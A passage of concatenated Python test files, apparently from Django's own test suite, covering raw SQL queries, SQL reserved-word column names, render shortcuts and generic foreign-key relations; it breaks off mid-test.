    def test_db_column_handler(self):
        """
        Test of a simple raw query against a model containing a field with
        db_column defined.
        """
        query = "SELECT * FROM raw_query_coffee"
        coffees = Coffee.objects.all()
        self.assertSuccessfulRawQuery(Coffee, query, coffees)

    def test_order_handler(self):
        """
        Test of raw raw query's tolerance for columns being returned in any
        order
        """
        selects = (
            ('dob, last_name, first_name, id'),
            ('last_name, dob, first_name, id'),
            ('first_name, last_name, dob, id'),
        )

        for select in selects:
            query = "SELECT %s FROM raw_query_author" % select
            authors = Author.objects.all()
            self.assertSuccessfulRawQuery(Author, query, authors)

    def test_translations(self):
        """
        Test of raw query's optional ability to translate unexpected result
        column names to specific model fields
        """
        query = "SELECT first_name AS first, last_name AS last, dob, id FROM raw_query_author"
        translations = {'first': 'first_name', 'last': 'last_name'}
        authors = Author.objects.all()
        self.assertSuccessfulRawQuery(Author, query, authors, translations=translations)

    def test_params(self):
        """
        Test passing optional query parameters
        """
        query = "SELECT * FROM raw_query_author WHERE first_name = %s"
        author = Author.objects.all()[2]
        params = [author.first_name]
        qset = Author.objects.raw(query, params=params)
        results = list(qset)
        self.assertProcessed(Author, results, [author])
        self.assertNoAnnotations(results)
        self.assertEqual(len(results), 1)
        self.assertIsInstance(repr(qset), str)

    @skipUnlessDBFeature('supports_paramstyle_pyformat')
    def test_pyformat_params(self):
        """
        Test passing optional query parameters
        """
        query = "SELECT * FROM raw_query_author WHERE first_name = %(first)s"
        author = Author.objects.all()[2]
        params = {'first': author.first_name}
        qset = Author.objects.raw(query, params=params)
        results = list(qset)
        self.assertProcessed(Author, results, [author])
        self.assertNoAnnotations(results)
        self.assertEqual(len(results), 1)
        self.assertIsInstance(repr(qset), str)

    def test_query_representation(self):
        """
        Test representation of raw query with parameters
        """
        query = "SELECT * FROM raw_query_author WHERE last_name = %(last)s"
        qset = Author.objects.raw(query, {'last': 'foo'})
        self.assertEqual(repr(qset), "<RawQuerySet: SELECT * FROM raw_query_author WHERE last_name = foo>")
        self.assertEqual(repr(qset.query), "<RawQuery: SELECT * FROM raw_query_author WHERE last_name = foo>")

        query = "SELECT * FROM raw_query_author WHERE last_name = %s"
        qset = Author.objects.raw(query, {'foo'})
        self.assertEqual(repr(qset), "<RawQuerySet: SELECT * FROM raw_query_author WHERE last_name = foo>")
        self.assertEqual(repr(qset.query), "<RawQuery: SELECT * FROM raw_query_author WHERE last_name = foo>")

    def test_many_to_many(self):
        """
        Test of a simple raw query against a model containing a m2m field
        """
        query = "SELECT * FROM raw_query_reviewer"
        reviewers = Reviewer.objects.all()
        self.assertSuccessfulRawQuery(Reviewer, query, reviewers)

    def test_extra_conversions(self):
        """
        Test to insure that extra translations are ignored.
        """
        query = "SELECT * FROM raw_query_author"
        translations = {'something': 'else'}
        authors = Author.objects.all()
        self.assertSuccessfulRawQuery(Author, query, authors, translations=translations)

    def test_missing_fields(self):
        query = "SELECT id, first_name, dob FROM raw_query_author"
        for author in Author.objects.raw(query):
            self.assertIsNotNone(author.first_name)
            # last_name isn't given, but it will be retrieved on demand
            self.assertIsNotNone(author.last_name)

    def test_missing_fields_without_PK(self):
        query = "SELECT first_name, dob FROM raw_query_author"
        with self.assertRaisesMessage(InvalidQuery, 'Raw query must include the primary key'):
            list(Author.objects.raw(query))

    def test_annotations(self):
        query = (
            "SELECT a.*, count(b.id) as book_count "
            "FROM raw_query_author a "
            "LEFT JOIN raw_query_book b ON a.id = b.author_id "
            "GROUP BY a.id, a.first_name, a.last_name, a.dob ORDER BY a.id"
        )
        expected_annotations = (
            ('book_count', 3),
            ('book_count', 0),
            ('book_count', 1),
            ('book_count', 0),
        )
        authors = Author.objects.all()
        self.assertSuccessfulRawQuery(Author, query, authors, expected_annotations)

    def test_white_space_query(self):
        query = "    SELECT * FROM raw_query_author"
        authors = Author.objects.all()
        self.assertSuccessfulRawQuery(Author, query, authors)

    def test_multiple_iterations(self):
        query = "SELECT * FROM raw_query_author"
        normal_authors = Author.objects.all()
        raw_authors = Author.objects.raw(query)

        # First Iteration
        first_iterations = 0
        for index, raw_author in enumerate(raw_authors):
            self.assertEqual(normal_authors[index], raw_author)
            first_iterations += 1

        # Second Iteration
        second_iterations = 0
        for index, raw_author in enumerate(raw_authors):
            self.assertEqual(normal_authors[index], raw_author)
            second_iterations += 1

        self.assertEqual(first_iterations, second_iterations)

    def test_get_item(self):
        # Indexing on RawQuerySets
        query = "SELECT * FROM raw_query_author ORDER BY id ASC"
        third_author = Author.objects.raw(query)[2]
        self.assertEqual(third_author.first_name, 'Bob')

        first_two = Author.objects.raw(query)[0:2]
        self.assertEqual(len(first_two), 2)

        with self.assertRaises(TypeError):
            Author.objects.raw(query)['test']

    def test_inheritance(self):
        f = FriendlyAuthor.objects.create(first_name="Wesley", last_name="Chun", dob=date(1962, 10, 28))
        query = "SELECT * FROM raw_query_friendlyauthor"
        self.assertEqual(
            [o.pk for o in FriendlyAuthor.objects.raw(query)], [f.pk]
        )

    def test_query_count(self):
        self.assertNumQueries(1, list, Author.objects.raw("SELECT * FROM raw_query_author"))

    def test_subquery_in_raw_sql(self):
        list(Book.objects.raw('SELECT id FROM (SELECT * FROM raw_query_book WHERE paperback IS NOT NULL) sq'))

    def test_db_column_name_is_used_in_raw_query(self):
        """
        Regression test that ensures the `column` attribute on the field is
        used to generate the list of fields included in the query, as opposed
        to the `attname`. This is important when the primary key is a
        ForeignKey field because `attname` and `column` are not necessarily the
        same.
        """
        b = BookFkAsPk.objects.create(book=self.b1)
        self.assertEqual(list(BookFkAsPk.objects.raw('SELECT not_the_default FROM raw_query_bookfkaspk')), [b])

    def test_decimal_parameter(self):
        c = Coffee.objects.create(brand='starbucks', price=20.5)
        qs = Coffee.objects.raw("SELECT * FROM raw_query_coffee WHERE price >= %s", params=[Decimal(20)])
        self.assertEqual(list(qs), [c])






"""
Using SQL reserved names

Need to use a reserved SQL name as a column name or table name? Need to include
a hyphen in a column or table name? No problem. Django quotes names
appropriately behind the scenes, so your database won't complain about
reserved-name usage.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Thing(models.Model):
    when = models.CharField(max_length=1, primary_key=True)
    join = models.CharField(max_length=1)
    like = models.CharField(max_length=1)
    drop = models.CharField(max_length=1)
    alter = models.CharField(max_length=1)
    having = models.CharField(max_length=1)
    where = models.DateField(max_length=1)
    has_hyphen = models.CharField(max_length=1, db_column='has-hyphen')

    class Meta:
        db_table = 'select'

    def __str__(self):
        return self.when












from __future__ import unicode_literals

import datetime

from django.test import TestCase

from .models import Thing


class ReservedNameTests(TestCase):
    def generate(self):
        day1 = datetime.date(2005, 1, 1)
        Thing.objects.create(
            when='a', join='b', like='c', drop='d', alter='e', having='f',
            where=day1, has_hyphen='h',
        )
        day2 = datetime.date(2006, 2, 2)
        Thing.objects.create(
            when='h', join='i', like='j', drop='k', alter='l', having='m',
            where=day2,
        )

    def test_simple(self):
        day1 = datetime.date(2005, 1, 1)
        t = Thing.objects.create(
            when='a', join='b', like='c', drop='d',
            alter='e', having='f', where=day1, has_hyphen='h',
        )
        self.assertEqual(t.when, 'a')

        day2 = datetime.date(2006, 2, 2)
        u = Thing.objects.create(
            when='h', join='i', like='j', drop='k', alter='l', having='m',
            where=day2,
        )
        self.assertEqual(u.when, 'h')

    def test_order_by(self):
        self.generate()
        things = [t.when for t in Thing.objects.order_by('when')]
        self.assertEqual(things, ['a', 'h'])

    def test_fields(self):
        self.generate()
        v = Thing.objects.get(pk='a')
        self.assertEqual(v.join, 'b')
        self.assertEqual(v.where, datetime.date(year=2005, month=1, day=1))

    def test_dates(self):
        self.generate()
        resp = Thing.objects.dates('where', 'year')
        self.assertEqual(list(resp), [
            datetime.date(2005, 1, 1),
            datetime.date(2006, 1, 1),
        ])

    def test_month_filter(self):
        self.generate()
        self.assertEqual(Thing.objects.filter(where__month=1)[0].when, 'a')






from django.shortcuts import render, render_to_response


def render_to_response_view(request):
    return render_to_response('shortcuts/render_test.html', {
        'foo': 'FOO',
        'bar': 'BAR',
    })


def render_to_response_view_with_multiple_templates(request):
    return render_to_response([
        'shortcuts/no_such_template.html',
        'shortcuts/render_test.html',
    ], {
        'foo': 'FOO',
        'bar': 'BAR',
    })


def render_to_response_view_with_content_type(request):
    return render_to_response('shortcuts/render_test.html', {
        'foo': 'FOO',
        'bar': 'BAR',
    }, content_type='application/x-rendertest')


def render_to_response_view_with_status(request):
    return render_to_response('shortcuts/render_test.html', {
        'foo': 'FOO',
        'bar': 'BAR',
    }, status=403)


def render_to_response_view_with_using(request):
    using = request.GET.get('using')
    return render_to_response('shortcuts/using.html', using=using)


def context_processor(request):
    return {'bar': 'context processor output'}


def render_view(request):
    return render(request, 'shortcuts/render_test.html', {
        'foo': 'FOO',
        'bar': 'BAR',
    })


def render_view_with_multiple_templates(request):
    return render(request, [
        'shortcuts/no_such_template.html',
        'shortcuts/render_test.html',
    ], {
        'foo': 'FOO',
        'bar': 'BAR',
    })


def render_view_with_content_type(request):
    return render(request, 'shortcuts/render_test.html', {
        'foo': 'FOO',
        'bar': 'BAR',
    }, content_type='application/x-rendertest')


def render_view_with_status(request):
    return render(request, 'shortcuts/render_test.html', {
        'foo': 'FOO',
        'bar': 'BAR',
    }, status=403)


def render_view_with_using(request):
    using = request.GET.get('using')
    return render(request, 'shortcuts/using.html', using=using)






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^render_to_response/$', views.render_to_response_view),
    url(r'^render_to_response/multiple_templates/$', views.render_to_response_view_with_multiple_templates),
    url(r'^render_to_response/content_type/$', views.render_to_response_view_with_content_type),
    url(r'^render_to_response/status/$', views.render_to_response_view_with_status),
    url(r'^render_to_response/using/$', views.render_to_response_view_with_using),
    url(r'^render/$', views.render_view),
    url(r'^render/multiple_templates/$', views.render_view_with_multiple_templates),
    url(r'^render/content_type/$', views.render_view_with_content_type),
    url(r'^render/status/$', views.render_view_with_status),
    url(r'^render/using/$', views.render_view_with_using),
]












from django.test import SimpleTestCase, override_settings
from django.test.utils import require_jinja2


@override_settings(
    ROOT_URLCONF='shortcuts.urls',
)
class ShortcutTests(SimpleTestCase):

    def test_render_to_response(self):
        response = self.client.get('/render_to_response/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'FOO.BAR..\n')
        self.assertEqual(response['Content-Type'], 'text/html; charset=utf-8')

    def test_render_to_response_with_multiple_templates(self):
        response = self.client.get('/render_to_response/multiple_templates/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'FOO.BAR..\n')

    def test_render_to_response_with_content_type(self):
        response = self.client.get('/render_to_response/content_type/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'FOO.BAR..\n')
        self.assertEqual(response['Content-Type'], 'application/x-rendertest')

    def test_render_to_response_with_status(self):
        response = self.client.get('/render_to_response/status/')
        self.assertEqual(response.status_code, 403)
        self.assertEqual(response.content, b'FOO.BAR..\n')

    @require_jinja2
    def test_render_to_response_with_using(self):
        response = self.client.get('/render_to_response/using/')
        self.assertEqual(response.content, b'DTL\n')
        response = self.client.get('/render_to_response/using/?using=django')
        self.assertEqual(response.content, b'DTL\n')
        response = self.client.get('/render_to_response/using/?using=jinja2')
        self.assertEqual(response.content, b'Jinja2\n')

    def test_render(self):
        response = self.client.get('/render/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'FOO.BAR../render/\n')
        self.assertEqual(response['Content-Type'], 'text/html; charset=utf-8')
        self.assertFalse(hasattr(response.context.request, 'current_app'))

    def test_render_with_multiple_templates(self):
        response = self.client.get('/render/multiple_templates/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'FOO.BAR../render/multiple_templates/\n')

    def test_render_with_content_type(self):
        response = self.client.get('/render/content_type/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'FOO.BAR../render/content_type/\n')
        self.assertEqual(response['Content-Type'], 'application/x-rendertest')

    def test_render_with_status(self):
        response = self.client.get('/render/status/')
        self.assertEqual(response.status_code, 403)
        self.assertEqual(response.content, b'FOO.BAR../render/status/\n')

    @require_jinja2
    def test_render_with_using(self):
        response = self.client.get('/render/using/')
        self.assertEqual(response.content, b'DTL\n')
        response = self.client.get('/render/using/?using=django')
        self.assertEqual(response.content, b'DTL\n')
        response = self.client.get('/render/using/?using=jinja2')
        self.assertEqual(response.content, b'Jinja2\n')






"""
Generic relations

Generic relations let an object have a foreign key to any object through a
content-type/object-id field. A ``GenericForeignKey`` field can point to any
object, be it animal, vegetable, or mineral.

The canonical example is tags (although this example implementation is *far*
from complete).
"""

from __future__ import unicode_literals

from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class TaggedItem(models.Model):
    """A tag on an item."""
    tag = models.SlugField()
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()

    content_object = GenericForeignKey()

    class Meta:
        ordering = ["tag", "content_type__model"]

    def __str__(self):
        return self.tag


class ValuableTaggedItem(TaggedItem):
    value = models.PositiveIntegerField()


class AbstractComparison(models.Model):
    comparative = models.CharField(max_length=50)

    content_type1 = models.ForeignKey(ContentType, models.CASCADE, related_name="comparative1_set")
    object_id1 = models.PositiveIntegerField()

    first_obj = GenericForeignKey(ct_field="content_type1", fk_field="object_id1")


@python_2_unicode_compatible
class Comparison(AbstractComparison):
    """
    A model that tests having multiple GenericForeignKeys. One is defined
    through an inherited abstract model and one defined directly on this class.
    """
    content_type2 = models.ForeignKey(ContentType, models.CASCADE, related_name="comparative2_set")
    object_id2 = models.PositiveIntegerField()

    other_obj = GenericForeignKey(ct_field="content_type2", fk_field="object_id2")

    def __str__(self):
        return "%s is %s than %s" % (self.first_obj, self.comparative, self.other_obj)


@python_2_unicode_compatible
class Animal(models.Model):
    common_name = models.CharField(max_length=150)
    latin_name = models.CharField(max_length=150)

    tags = GenericRelation(TaggedItem, related_query_name='animal')
    comparisons = GenericRelation(Comparison,
                                  object_id_field="object_id1",
                                  content_type_field="content_type1")

    def __str__(self):
        return self.common_name


@python_2_unicode_compatible
class Vegetable(models.Model):
    name = models.CharField(max_length=150)
    is_yucky = models.BooleanField(default=True)

    tags = GenericRelation(TaggedItem)

    def __str__(self):
        return self.name


class Carrot(Vegetable):
    pass


@python_2_unicode_compatible
class Mineral(models.Model):
    name = models.CharField(max_length=150)
    hardness = models.PositiveSmallIntegerField()

    # note the lack of an explicit GenericRelation here...

    def __str__(self):
        return self.name


class GeckoManager(models.Manager):
    def get_queryset(self):
        return super(GeckoManager, self).get_queryset().filter(has_tail=True)


class Gecko(models.Model):
    has_tail = models.BooleanField(default=False)
    objects = GeckoManager()


# To test fix for #11263
class Rock(Mineral):
    tags = GenericRelation(TaggedItem)


class ValuableRock(Mineral):
    tags = GenericRelation(ValuableTaggedItem)


class ManualPK(models.Model):
    id = models.IntegerField(primary_key=True)
    tags = GenericRelation(TaggedItem, related_query_name='manualpk')


class ForProxyModelModel(models.Model):
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    obj = GenericForeignKey(for_concrete_model=False)
    title = models.CharField(max_length=255, null=True)


class ForConcreteModelModel(models.Model):
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    obj = GenericForeignKey()


class ConcreteRelatedModel(models.Model):
    bases = GenericRelation(ForProxyModelModel, for_concrete_model=False)


class ProxyRelatedModel(ConcreteRelatedModel):
    class Meta:
        proxy = True


# To test fix for #7551
class AllowsNullGFK(models.Model):
    content_type = models.ForeignKey(ContentType, models.SET_NULL, null=True)
    object_id = models.PositiveIntegerField(null=True)
    content_object = GenericForeignKey()












from __future__ import unicode_literals

from django import forms
from django.contrib.contenttypes.forms import generic_inlineformset_factory
from django.contrib.contenttypes.models import ContentType
from django.core.exceptions import FieldError
from django.db import IntegrityError
from django.db.models import Q
from django.test import SimpleTestCase, TestCase

from .models import (
    AllowsNullGFK, Animal, Carrot, Comparison, ConcreteRelatedModel,
    ForConcreteModelModel, ForProxyModelModel, Gecko, ManualPK, Mineral,
    ProxyRelatedModel, Rock, TaggedItem, ValuableRock, ValuableTaggedItem,
    Vegetable,
)


class GenericRelationsTests(TestCase):
    def setUp(self):
        self.lion = Animal.objects.create(
            common_name="Lion", latin_name="Panthera leo")
        self.platypus = Animal.objects.create(
            common_name="Platypus", latin_name="Ornithorhynchus anatinus")
        Vegetable.objects.create(name="Eggplant", is_yucky=True)
        self.bacon = Vegetable.objects.create(name="Bacon", is_yucky=False)
        self.quartz = Mineral.objects.create(name="Quartz", hardness=7)

        # Tagging stuff.
        self.bacon.tags.create(tag="fatty")
        self.bacon.tags.create(tag="salty")
        self.lion.tags.create(tag="yellow")
        self.lion.tags.create(tag="hairy")

        # Original list of tags:
        self.comp_func = lambda obj: (
            obj.tag, obj.content_type.model_class(), obj.object_id
        )

    def test_generic_update_or_create_when_created(self):
        """
        Should be able to use update_or_create from the generic related manager
        to create a tag. Refs #23611.
        """
        count = self.bacon.tags.count()
        tag, created = self.bacon.tags.update_or_create(tag='stinky')
        self.assertTrue(created)
        self.assertEqual(count + 1, self.bacon.tags.count())

    def test_generic_update_or_create_when_updated(self):
        """
        Should be able to use update_or_create from the generic related manager
        to update a tag. Refs #23611.
        """
        count = self.bacon.tags.count()
        tag = self.bacon.tags.create(tag='stinky')
        self.assertEqual(count + 1, self.bacon.tags.count())
        tag, created = self.bacon.tags.update_or_create(defaults={'tag': 'juicy'}, id=tag.id)
        self.assertFalse(created)
        self.assertEqual(count + 1, self.bacon.tags.count())
        self.assertEqual(tag.tag, 'juicy')

    def test_generic_get_or_create_when_created(self):
        """
        Should be able to use get_or_create from the generic related manager
        to create a tag. Refs #23611.
        """
        count = self.bacon.tags.count()
        tag, created = self.bacon.tags.get_or_create(tag='stinky')
        self.assertTrue(created)
        self.assertEqual(count + 1, self.bacon.tags.count())

    def test_generic_get_or_create_when_exists(self):
        """
        Should be able to use get_or_create from the generic related manager
        to get a tag. Refs #23611.
        """
        count = self.bacon.tags.count()
        tag = self.bacon.tags.create(tag="stinky")
        self.assertEqual(count + 1, self.bacon.tags.count())
        tag, created = self.bacon.tags.get_or_create(id=tag.id, defaults={'tag': 'juicy'})
        self.assertFalse(created)
        self.assertEqual(count + 1, self.bacon.tags.count())
        # shouldn't had changed the tag
        self.assertEqual(tag.tag, 'stinky')

    def test_generic_relations_m2m_mimic(self):
        """
        Objects with declared GenericRelations can be tagged directly -- the
        API mimics the many-to-many API.
        """
        self.assertQuerysetEqual(self.lion.tags.all(), [
            "<TaggedItem: hairy>",
            "<TaggedItem: yellow>"
        ])
        self.assertQuerysetEqual(self.bacon.tags.all(), [
            "<TaggedItem: fatty>",
            "<TaggedItem: salty>"
        ])

    def test_access_content_object(self):
        """
        Test accessing the content object like a foreign key.
        """
        tagged_item = TaggedItem.objects.get(tag="salty")
        self.assertEqual(tagged_item.content_object, self.bacon)

    def test_query_content_object(self):
        qs = TaggedItem.objects.filter(
            animal__isnull=False).order_by('animal__common_name', 'tag')
        self.assertQuerysetEqual(
            qs, ["<TaggedItem: hairy>", "<TaggedItem: yellow>"]
        )

        mpk = ManualPK.objects.create(id=1)
        mpk.tags.create(tag='mpk')
        qs = TaggedItem.objects.filter(
            Q(animal__isnull=False) | Q(manualpk__id=1)).order_by('tag')
        self.assertQuerysetEqual(
            qs, ["hairy", "mpk", "yellow"], lambda x: x.tag)

    def test_exclude_generic_relations(self):
        """
        Test lookups over an object without GenericRelations.
        """
        # Recall that the Mineral class doesn't have an explicit GenericRelation
        # defined. That's OK, because you can create TaggedItems explicitly.
        # However, excluding GenericRelations means your lookups have to be a
        # bit more explicit.
        TaggedItem.objects.create(content_object=self.quartz, tag="shiny")
        TaggedItem.objects.create(content_object=self.quartz, tag="clearish")

        ctype = ContentType.objects.get_for_model(self.quartz)
        q = TaggedItem.objects.filter(
            content_type__pk=ctype.id, object_id=self.quartz.id
        )
        self.assertQuerysetEqual(q, [
            "<TaggedItem: clearish>",
            "<TaggedItem: shiny>"
        ])

    def test_access_via_content_type(self):
        """
        Test lookups through content type.
        """
        self.lion.delete()
        self.platypus.tags.create(tag="fatty")

        ctype = ContentType.objects.get_for_model(self.platypus)

        self.assertQuerysetEqual(
            Animal.objects.filter(tags__content_type=ctype),
            ["<Animal: Platypus>"])

    def test_set_foreign_key(self):
        """
        You can set a generic foreign key in the way you'd expect.
        """
        tag1 = TaggedItem.objects.create(content_object=self.quartz, tag="shiny")
        tag1.content_object = self.platypus
        tag1.save()

        self.assertQuerysetEqual(
            self.platypus.tags.all(),
            ["<TaggedItem: shiny>"])

    def test_queries_across_generic_relations(self):
        """
        Queries across generic relations respect the content types. Even though
        there are two TaggedItems with a tag of "fatty", this query only pulls
        out the one with the content type related to Animals.
        """
        self.assertQuerysetEqual(Animal.objects.order_by('common_name'), [
            "<Animal: Lion>",
            "<Animal: Platypus>"
        ])

    def test_queries_content_type_restriction(self):
        """
        Create another fatty tagged instance with different PK to ensure there
        is a content type restriction in the generated queries below.
        """
        mpk = ManualPK.objects.create(id=self.lion.pk)
        mpk.tags.create(tag="fatty")
        self.platypus.tags.create(tag="fatty")

        self.assertQuerysetEqual(
            Animal.objects.filter(tags__tag='fatty'), ["<Animal: Platypus>"])
        self.assertQuerysetEqual(
            Animal.objects.exclude(tags__tag='fatty'), ["<Animal: Lion>"])

    def test_object_deletion_with_generic_relation(self):
        """
        If you delete an object with an explicit Generic relation, the related
        objects are deleted when the source object is deleted.
        """
        self.assertQuerysetEqual(TaggedItem.objects.all(), [
            ('fatty', Vegetable, self.bacon.pk),
            ('hairy', Animal, self.lion.pk),
            ('salty', Vegetable, self.bacon.pk),
            ('yellow', Animal, self.lion.pk)
        ],
            self.comp_func
        )
        self.lion.delete()

        self.assertQuerysetEqual(TaggedItem.objects.all(), [
            ('fatty', Vegetable, self.bacon.pk),
            ('salty', Vegetable, self.bacon.pk),
        ],
            self.comp_func
        )

    def test_object_deletion_without_generic_relation(self):
        """
        If Generic Relation is not explicitly defined, any related objects
        remain after deletion of the source object.
        """
        TaggedItem.objects.create(content_object=self.quartz, tag="clearish")
        quartz_pk = self.quartz.pk
        self.quartz.delete()
        self.assertQuerysetEqual(TaggedItem.objects.all(), [
            ('clearish', Mineral, quartz_pk),
            ('fatty', Vegetable, self.bacon.pk),
            ('hairy', Animal, self.lion.pk),
            ('salty', Vegetable, self.bacon.pk),
            ('yellow', Animal, self.lion.pk),
        ],
            self.comp_func
        )

    def test_tag_deletion_related_objects_unaffected(self):
        """
        If you delete a tag, the objects using the tag are unaffected (other
        than losing a tag).
        """
        ctype = ContentType.objects.get_for_model(self.lion)
        tag = TaggedItem.objects.get(
            content_type__pk=ctype.id, object_id=self.lion.id, tag="hairy")
        tag.delete()

        self.assertQuerysetEqual(self.lion.tags.all(), ["<TaggedItem: yellow>"])
        self.assertQuerysetEqual(TaggedItem.objects.all(), [
            ('fatty', Vegetable, self.bacon.pk),
            ('salty', Vegetable, self.bacon.pk),
            ('yellow', Animal, self.lion.pk)
        ],
            self.comp_func
        )

    def test_add_bulk(self):
        bacon = Vegetable.objects.create(name="Bacon", is_yucky=False)
        t1 = TaggedItem.objects.create(content_object=self.quartz, tag="shiny")
        t2 = TaggedItem.objects.create(content_object=self.quartz, tag="clearish")
        # One update() query.
        with self.assertNumQueries(1):
            bacon.tags.add(t1, t2)
        self.assertEqual(t1.content_object, bacon)
        self.assertEqual(t2.content_object, bacon)

    def test_add_bulk_false(self):
        bacon = Vegetable.objects.create(name="Bacon", is_yucky=False)
        t1 = TaggedItem.objects.create(content_object=self.quartz, tag="shiny")
        t2 = TaggedItem.objects.create(content_object=self.quartz, tag="clearish")
        # One save() for each object.
        with self.assertNumQueries(2):
            bacon.tags.add(t1, t2, bulk=False)
        self.assertEqual(t1.content_object, bacon)
        self.assertEqual(t2.content_object, bacon)

    def test_add_rejects_unsaved_objects(self):
        t1 = TaggedItem(content_object=self.quartz, tag="shiny")
        msg = "<TaggedItem: shiny> instance isn't saved. Use bulk=False or save the object first."
        with self.assertRaisesMessage(ValueError, msg):
            self.bacon.tags.add(t1)

    def test_set(self):
        bacon = Vegetable.objects.create(name="Bacon", is_yucky=False)
        fatty = bacon.tags.create(tag="fatty")
        salty = bacon.tags.create(tag="salty")

        bacon.tags.set([fatty, salty])
        self.assertQuerysetEqual(bacon.tags.all(), [
            "<TaggedItem: fatty>",
            "<TaggedItem: salty>",
        ])

        bacon.tags.set([fatty])
        self.assertQuerysetEqual(bacon.tags.all(), [
            "<TaggedItem: fatty>",
        ])

        bacon.tags.set([])
        self.assertQuerysetEqual(bacon.tags.all(), [])

        bacon.tags.set([fatty, salty], bulk=False, clear=True)
        self.assertQuerysetEqual(bacon.tags.all(), [
            "<TaggedItem: fatty>",
            "<TaggedItem: salty>",
        ])

        bacon.tags.set([fatty], bulk=False, clear=True)
        self.assertQuerysetEqual(bacon.tags.all(), [
            "<TaggedItem: fatty>",
        ])

        bacon.tags.set([], clear=True)
        self.assertQuerysetEqual(bacon.tags.all(), [])

    def test_assign(self):
        bacon = Vegetable.objects.create(name="Bacon", is_yucky=False)
        fatty = bacon.tags.create(tag="fatty")
        salty = bacon.tags.create(tag="salty")

        bacon.tags.set([fatty, salty])
        self.assertQuerysetEqual(bacon.tags.all(), [
            "<TaggedItem: fatty>",
            "<TaggedItem: salty>",
        ])

        bacon.tags.set([fatty])
        self.assertQuerysetEqual(bacon.tags.all(), [
            "<TaggedItem: fatty>",
        ])

        bacon.tags.set([])
        self.assertQuerysetEqual(bacon.tags.all(), [])

    def test_assign_with_queryset(self):
        # Ensure that querysets used in reverse GFK assignments are pre-evaluated
        # so their value isn't affected by the clearing operation in
        # ManyRelatedManager.set() (#19816).
        bacon = Vegetable.objects.create(name="Bacon", is_yucky=False)
        bacon.tags.create(tag="fatty")
        bacon.tags.create(tag="salty")
        self.assertEqual(2, bacon.tags.count())

        qs = bacon.tags.filter(tag="fatty")
        bacon.tags.set(qs)

        self.assertEqual(1, bacon.tags.count())
        self.assertEqual(1, qs.count())

    def test_generic_relation_related_name_default(self):
        # Test that GenericRelation by default isn't usable from
        # the reverse side.
        with self.assertRaises(FieldError):
            TaggedItem.objects.filter(vegetable__isnull=True)

    def test_multiple_gfk(self):
        # Simple tests for multiple GenericForeignKeys
        # only uses one model, since the above tests should be sufficient.
        tiger = Animal.objects.create(common_name="tiger")
        cheetah = Animal.objects.create(common_name="cheetah")
        bear = Animal.objects.create(common_name="bear")

        # Create directly
        Comparison.objects.create(
            first_obj=cheetah, other_obj=tiger, comparative="faster"
        )
        Comparison.objects.create(
            first_obj=tiger, other_obj=cheetah, comparative="cooler"
        )

        # Create using GenericRelation
        tiger.comparisons.create(other_obj=bear, comparative="cooler")
        tiger.comparisons.create(other_obj=cheetah, comparative="stronger")
        self.assertQuerysetEqual(cheetah.comparisons.all(), [
            "<Comparison: cheetah is faster than tiger>"
        ])

        # Filtering works
        self.assertQuerysetEqual(tiger.comparisons.filter(comparative="cooler"), [
            "<Comparison: tiger is cooler than cheetah>",
            "<Comparison: tiger is cooler than bear>",
        ], ordered=False)

        # Filtering and deleting works
        subjective = ["cooler"]
        tiger.comparisons.filter(comparative__in=subjective).delete()
        self.assertQuerysetEqual(Comparison.objects.all(), [
            "<Comparison: cheetah is faster than tiger>",
            "<Comparison: tiger is stronger than cheetah>"
        ], ordered=False)

        # If we delete cheetah, Comparisons with cheetah as 'first_obj' will be
        # deleted since Animal has an explicit GenericRelation to Comparison
        # through first_obj. Comparisons with cheetah as 'other_obj' will not
        # be deleted.
        cheetah.delete()
        self.assertQuerysetEqual(Comparison.objects.all(), [
            "<Comparison: tiger is stronger than None>"
        ])

    def test_gfk_subclasses(self):
        # GenericForeignKey should work with subclasses (see #8309)
        quartz = Mineral.objects.create(name="Quartz", hardness=7)
        valuedtag = ValuableTaggedItem.objects.create(
            content_object=quartz, tag="shiny", value=10
        )
        self.assertEqual(valuedtag.content_object, quartz)

    def test_generic_relation_to_inherited_child(self):
        # GenericRelations to models that use multi-table inheritance work.
        granite = ValuableRock.objects.create(name='granite', hardness=5)
        ValuableTaggedItem.objects.create(content_object=granite, tag="countertop", value=1)
        self.assertEqual(ValuableRock.objects.filter(tags__value=1).count(), 1)
        # We're generating a slightly inefficient query for tags__tag - we
        # first join ValuableRock -> TaggedItem -> ValuableTaggedItem, and then
        # we fetch tag by joining TaggedItem from ValuableTaggedItem. The last
        # join isn't necessary, as TaggedItem <-> ValuableTaggedItem is a
        # one-to-one join.
        self.assertEqual(ValuableRock.objects.filter(tags__tag="countertop").count(), 1)
        granite.delete()  # deleting the rock should delete the related tag.
        self.assertEqual(ValuableTaggedItem.objects.count(), 0)

    def test_generic_inline_formsets(self):
        GenericFormSet = generic_inlineformset_factory(TaggedItem, extra=1)
        formset = GenericFormSet()
        self.assertHTMLEqual(
            ''.join(form.as_p() for form in formset.forms),
            """<p><label for="id_generic_relations-taggeditem-content_type-object_id-0-tag">
Tag:</label> <input id="id_generic_relations-taggeditem-content_type-object_id-0-tag" type="text"
name="generic_relations-taggeditem-content_type-object_id-0-tag" maxlength="50" /></p>
<p><label for="id_generic_relations-taggeditem-content_type-object_id-0-DELETE">Delete:</label>
<input type="checkbox" name="generic_relations-taggeditem-content_type-object_id-0-DELETE"
id="id_generic_relations-taggeditem-content_type-object_id-0-DELETE" />
<input type="hidden" name="generic_relations-taggeditem-content_type-object_id-0-id"
id="id_generic_relations-taggeditem-content_type-object_id-0-id" /></p>"""
        )

        formset = GenericFormSet(instance=Animal())
        self.assertHTMLEqual(
